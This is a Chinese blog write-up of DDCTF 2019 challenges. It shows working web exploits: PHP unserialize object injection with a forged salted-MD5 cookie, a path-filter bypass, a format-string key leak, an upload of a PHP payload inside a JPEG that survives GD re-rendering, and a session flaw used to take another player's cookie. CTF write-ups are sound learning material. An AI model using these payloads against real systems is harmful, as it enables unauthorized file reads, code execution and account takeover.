04月19, 2019

DDCTF 2019 部分题目 writeup

去年我也报了 DDCTF,但只有签到的1分。今年拿了700多分,有进步,但还是很菜。

ddctf2019.png

有趣的是发现了题目的彩蛋,白赚了一个公仔,感谢滴滴~


真-签到题

公告栏:

flag


滴~

发现可疑的 GET 参数:

jpg

两次 Base64 然后 Hex 解密得:

decode

再看网页源码里的图片元素:

img

发现是 Base64 直接渲染出来的图片,那么可以知道后台读取了参数jpg传进去的文件。

故尝试读后台代码,先加密“index.php”:

encode

传入参数:

index

解码后:

<?php
    /*
    * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
    * Date: July 4,2018
    */
    error_reporting(E_ALL || ~E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    if(! isset($_GET['jpg']))
        header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
    $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
    echo '<title>'.$_GET['jpg'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo $file.'</br>';
    $file = str_replace("config","!", $file);
    echo $file.'</br>';
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
    /*
    * Can you find the flag file?
    *
    */
?>

访问注释中的博客链接,并找到该作者在7月4日发表的文章:

blog

尝试访问这个practice.txt.swp

txt

再去读这个 php 文件的代码,加密文件名:

encode

过滤了感叹号,故这里用“config”替换。

传入参数:

f1ag!ddctf

解码后:

<?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
        $content=trim(file_get_contents($k));
        if($uid==$content)
        {
            echo $flag;
        }
        else
        {
            echo'hello';
        }
    }
?>

简单利用一下伪协议即可获得 flag:

flag


WEB 签到题

直接访问:

request

发现如下 JS:

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */
function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

通过 ajax 向app/Auth.php文件发送了一个 POST 请求,有个请求头didictf_username

尝试截包,给这个请求头添个admin

admin

获得响应包:

json

访问该地址:

source

获得展示的源码:

app/Application.php

<?php
    Class Application {
        var $path = '';
        public function response($data, $errMsg = 'success') {
            $ret = ['errMsg' => $errMsg,
                'data' => $data];
            $ret = json_encode($ret);
            header('Content-type: application/json');
            echo $ret;
        }
        public function auth() {
            $DIDICTF_ADMIN = 'admin';
            if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
                $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
                return TRUE;
            }else{
                $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
                exit();
            }
        }
        private function sanitizepath($path) {
            $path = trim($path);
            $path=str_replace('../','',$path);
            $path=str_replace('..\\','',$path);
            return $path;
        }
        public function __destruct() {
            if(empty($this->path)) {
                exit();
            }else{
                $path = $this->sanitizepath($this->path);
                if(strlen($path) !== 18) {
                    exit();
                }
                $this->response($data=file_get_contents($path),'Congratulations');
            }
            exit();
        }
    }
?>

app/Session.php

<?php
    include 'Application.php';
    class Session extends Application {
        //key建议为8位字符串
        var $eancrykey                  = '';
        var $cookie_expiration            = 7200;
        var $cookie_name                = 'ddctf_id';
        var $cookie_path                = '';
        var $cookie_domain                = '';
        var $cookie_secure                = FALSE;
        var $activity                   = "DiDiCTF";
        public function index()
        {
            if(parent::auth()) {
                $this->get_key();
                if($this->session_read()) {
                    $data = 'DiDI Welcome you %s';
                    $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                    parent::response($data,'sucess');
                }else{
                    $this->session_create();
                    $data = 'DiDI Welcome you';
                    parent::response($data,'sucess');
                }
            }
        }
        private function get_key() {
            //eancrykey  and flag under the folder
            $this->eancrykey =  file_get_contents('../config/key.txt');
        }
        public function session_read() {
            if(empty($_COOKIE)) {
                return FALSE;
            }
            $session = $_COOKIE[$this->cookie_name];
            if(!isset($session)) {
                parent::response("session not found",'error');
                return FALSE;
            }
            $hash = substr($session,strlen($session)-32);
            $session = substr($session,0,strlen($session)-32);
            if($hash !== md5($this->eancrykey.$session)) {
                parent::response("the cookie data not match",'error');
                return FALSE;
            }
            $session = unserialize($session);
            if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
                return FALSE;
            }
            if(!empty($_POST["nickname"])) {
                $arr = array($_POST["nickname"],$this->eancrykey);
                $data = "Welcome my friend %s";
                foreach ($arr as $k => $v) {
                    $data = sprintf($data,$v);
                }
                parent::response($data,"Welcome");
            }
            if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
                parent::response('the ip addree not match'.'error');
                return FALSE;
            }
            if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
                parent::response('the user agent not match','error');
                return FALSE;
            }
            return TRUE;
        }
        private function session_create() {
            $sessionid = '';
            while(strlen($sessionid) < 32) {
                $sessionid .= mt_rand(0,mt_getrandmax());
            }
            $userdata = array(
                'session_id' => md5(uniqid($sessionid,TRUE)),
                'ip_address' => $_SERVER['REMOTE_ADDR'],
                'user_agent' => $_SERVER['HTTP_USER_AGENT'],
                'user_data' => '',
            );
            $cookiedata = serialize($userdata);
            $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
            $expire = $this->cookie_expiration + time();
            setcookie(
                $this->cookie_name,
                $cookiedata,
                $expire,
                $this->cookie_path,
                $this->cookie_domain,
                $this->cookie_secure
            );
        }
    }
    $ddctf = new Session();
    $ddctf->index();
?>

在 app/Application.php 中发现如下析构函数可以获取 flag:

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

在 app/Session.php 中发现反序列化操作:

public function session_read() {
    ......
    $session = unserialize($session);
    ......
}

$session是一个Application对象的序列化字符串,则函数unserialize()可以实例化该对象。

在该对象销毁时执行析构函数,输出成员变量$path路径下的文件内容。

根据提示:

private function get_key() {
    //eancrykey  and flag under the folder
    $this->eancrykey =  file_get_contents('../config/key.txt');
}

猜测 flag 所在的文件路径为config/flag.txt

如下代码对$path进行了过滤:

private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

写两遍“../”即可免于过滤:

..././config/flag.txt

而且过滤之后的字符串长度刚好为 18,满足要求。

执行下面代码:

<?php
    Class Application {
        var $path = '..././config/flag.txt';
    }
    $payload = new Application();
    echo serialize($payload);
?>

获得序列化字符串:

O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}

那么如何顺利执行到反序列化函数,要先看看反序列化之前的操作:

public function session_read() {
    if(empty($_COOKIE)) {
        return FALSE;
    }
    $session = $_COOKIE[$this->cookie_name];
    if(!isset($session)) {
        parent::response("session not found",'error');
        return FALSE;
    }
    $hash = substr($session,strlen($session)-32);
    $session = substr($session,0,strlen($session)-32);
    if($hash !== md5($this->eancrykey.$session)) {
        parent::response("the cookie data not match",'error');
        return FALSE;
    }
    $session = unserialize($session);
    ......
}

这里对 cookie 值进行了一个哈希校验,先进行一个普通的访问看看正常 cookie 的结构:

cookie

URL 解码一下看见哈希值就拼接在序列化字符串的后面:

hash

看看哈希值是如何生成的:

private function session_create() {
    ......
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    ......
}

可以看出是个带盐的 md5,如果能知道这个盐值,就能成功通过哈希校验,从而达到执行反序列化函数的目的。

下面的代码给了这个机会:

public function session_read() {
    ......
    if(!empty($_POST["nickname"])) {
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
    }
    ......
}

这段代码把 POST 上去的nickname的值和$eancrykey组成数组, 然后执行了两次sprintf()

为了让$eancrykey的值能够顺利覆盖上$data,只要让第一次sprintf()的返回值中带有一个%s即可。

所以将 POST 上去的nickname的值置为%s,即可达到目的:

key

现在有了盐值,用以下脚本生成最终的 Payload:

<?php
    $payload = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';
    $key = 'EzblrbNS';
    echo urlencode($payload.md5($key.$payload));
?>

结果如下:

O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2

通过 cookie 传入即可:

flag


Upload-IMG

题目要求上传图片文件,先传个普通的图片试试:

normal

真是奇怪的要求,先写个简短的 php 文件:

<?php phpinfo(); ?>

重命名成 jpg 文件,然后上传:

res

看来是读取了文件的内容来检测文件格式的,那么在普通的图片后面加代码:

tail

上传:

res

把返回的图片下载下来用二进制编辑器打开,发现存在二次渲染:

gd

写入的内容大部分会在重新渲染的时候被 gd 破坏,所以要在特殊的位置写入内容。

我懒得去对比尝试,直接用工具 jpg_payload 插入 Payload,可以绕过二次渲染。

用法:

php jpg_payload.php hello.jpg '<?php phpinfo(); ?>'

上传即可:

flag


大吉大利,今晚吃鸡~

这题因为我太菜了,不会正确的做法,用歪门邪道做出来的。事后问了下会不会算作弊,负责人说是彩蛋,还送了个公仔233333~

screenshot1

screenshot2

先在注册页面注册个账号:

register

登陆进去后看 JS,发现如下部分:

url

直接访问这个 URL:

res

查看浏览器 Network,发现如下请求包:

getflag

名为 getflag,猜测最后的 flag 就是由这个请求获得的,只不过我的账号还无法获得 flag。

这时注销,再去注册一遍刚刚的账号,提示账号已存在:

register

没有注册成功,却被设了 cookie (!?!?):

cookie

这个 cookie 值竟然和之前登录成功的 cookie 值一模一样!!!

可以直接拿去登录。

那我不是可以拿别的选手已注册的账号直接获得 flag???

我看了看解决了这题的选手的 ID 表:

rmb122

直接拿第一个通过的大佬的 ID 去尝试注册:

getcookie

提示该账号已存在,但给了我 cookie。

把这个 cookie 发给前面找到的 getflag 用的接口,直接偷到 flag:

flag


Wireshark

下载下来一个pcapng格式的数据包文件,筛选所有的 HTTP 数据包,导出 HTTP 对象:

saveall

在其中的一个网页文件下发现“隐写术”的字样:

steganography

找到链接:

url

访问:

addinfo

发现是一个图片隐写的工具,看到底部的链接:

github

访问,发现是用前端 JS 实现的隐写工具:

javascript

找到一个上传了 PNG 图片的可疑请求包:

uploadpng

提取出图片:

upload

首先这个图片是个钥匙,里面大概率有东西。而且这个图标位于图片的底部,猜测是高度隐写,故直接用二进制编辑器修改高度:

010

得到隐写的内容:

key

又发现一个可疑的请求包,明显的 PNG 文件头,直接导出:

uploadpng

得到一张图片:

upload

用之前得到的 KEY 送去解密:

infomation

Hex 一下即可:

flag

本文链接:https://blog.cindemor.com/post/ddctf-2019.html

-- EOF --